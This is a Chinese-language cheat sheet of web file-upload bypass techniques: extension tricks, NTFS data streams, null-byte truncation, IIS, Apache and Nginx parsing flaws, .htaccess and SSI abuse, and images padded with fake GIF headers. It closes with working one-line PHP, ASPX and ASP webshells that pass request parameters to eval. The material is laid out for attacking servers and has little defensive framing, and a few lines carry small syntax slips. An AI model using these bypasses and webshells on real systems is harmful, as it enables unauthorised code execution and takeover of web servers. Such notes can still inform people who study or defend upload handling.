目錄
- 文件上傳流程檢測
- 文件上傳繞過
0x00文件上傳流程檢測
1.客戶端javascript來檢測(前端驗證):fileext:擴展名,黑,白名單
2.服務端檢測mime內容:http頭:content-type:image/gif、php
3.服務端檢測路徑相關參數:path
4.服務端檢測擴展選項,擴展名
5.服務端檢測:文件頭,文件加載,getimagesize,exif_imagetype
0x01文件上傳繞過
1.如沒有任何限制,直接上傳
2.繞過黑名單:blacklist:明確禁止上傳類型:fileext:exe、asp,aspx,asa,asax,ascx,asmx,ashx等
漏網之魚:a.cer:證書 a.cdx:復保索引
a.exee a.com a.vbs a.bat a.hta
3.a#2easp
4.文件后綴后加空格(burp修改):a.asp空格
5.后綴加點.:a.asp.
6.大小寫:a.AsP a.ASP
7.后綴替換為空:
8.雙寫:a.aaspsp a.asaspp
9.ads流文件上傳繞過
列:
echo aaaa>a.txt
echo bbbb>a.txt:b.txt
查看:dir /r
結果:a.txt:b.txt:$DATA
利用:流文件:一句話
上傳利用:c.php::$DATA
連接:c.php
10.圖片和一句話木馬合並:
copy a.jpg/b+yi.asp/a b.jpg
winhex,010ed,ue:空白區:插入一句話
11.繞白名單:只允許上傳jpg
c.asp;.jpg
前提:上傳后的文件名不能變化
12.過白名單:
win2003:iis6.0:
建立文件夾:aa.asp里面放c.jpg(webshell)
當作asp腳本解析
13.過白名單:nullbyte:系統自動截斷
php<=5.2
a.php.jpg---burp截斷---hex---最后一個點:2e-改為00
14.apache解析漏洞:
1)mime.types:
2)由右到左:c.php.aaa
3)擴展名:php php2 php3 php5 phtml
15.nginx解析漏洞:開啟cgi:SCRIPT_NAME FASTCGI:
1)www.xx.com/a.jpg/.php(任何不存在文件)-----可以解析為.php文件
2)a.jpg:<?php phpinfo();?>
a.php%00.jpg----解析為a.php
16.繞過客戶端javascript腳本:
1)f12:禁用
2)代理繞過:考試 a.jpg--burp--a.php3
3)修改前端代碼繞過
17.繞過服務端mime檢測:
burp---content-type:
image/jpeg image/gif image/*
php php3 php5
18.黑名單沒有限制:.shtml
ssi:<--#include file="..\..\web.config" -->
19.后台編輯器漏洞:fck,eweb
20:后台功能:病毒搜索關鍵字,模板利用
dedecms:文件式管理器
21:.htaccess pts:
AddType application//x-httpd-php .jpg
.jpg當作php腳本解析
22.查看源碼---另存為:本地修改提交
allow=no 改為Yes
初始賦值:value=1 上傳正確 value=2失敗改為1
action='上傳地址'
23.繞過文件頭檢測
偽造文件頭:GIF89a
WINhex,ue,010:空白處添加一句話木馬
24.burp截包加空格:關鍵字前加空格
>>中國菜刀,一句話;
PHP
<?php @eval($_POST['a']);?>
.net:aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
asp
<%eval request ("pass")%>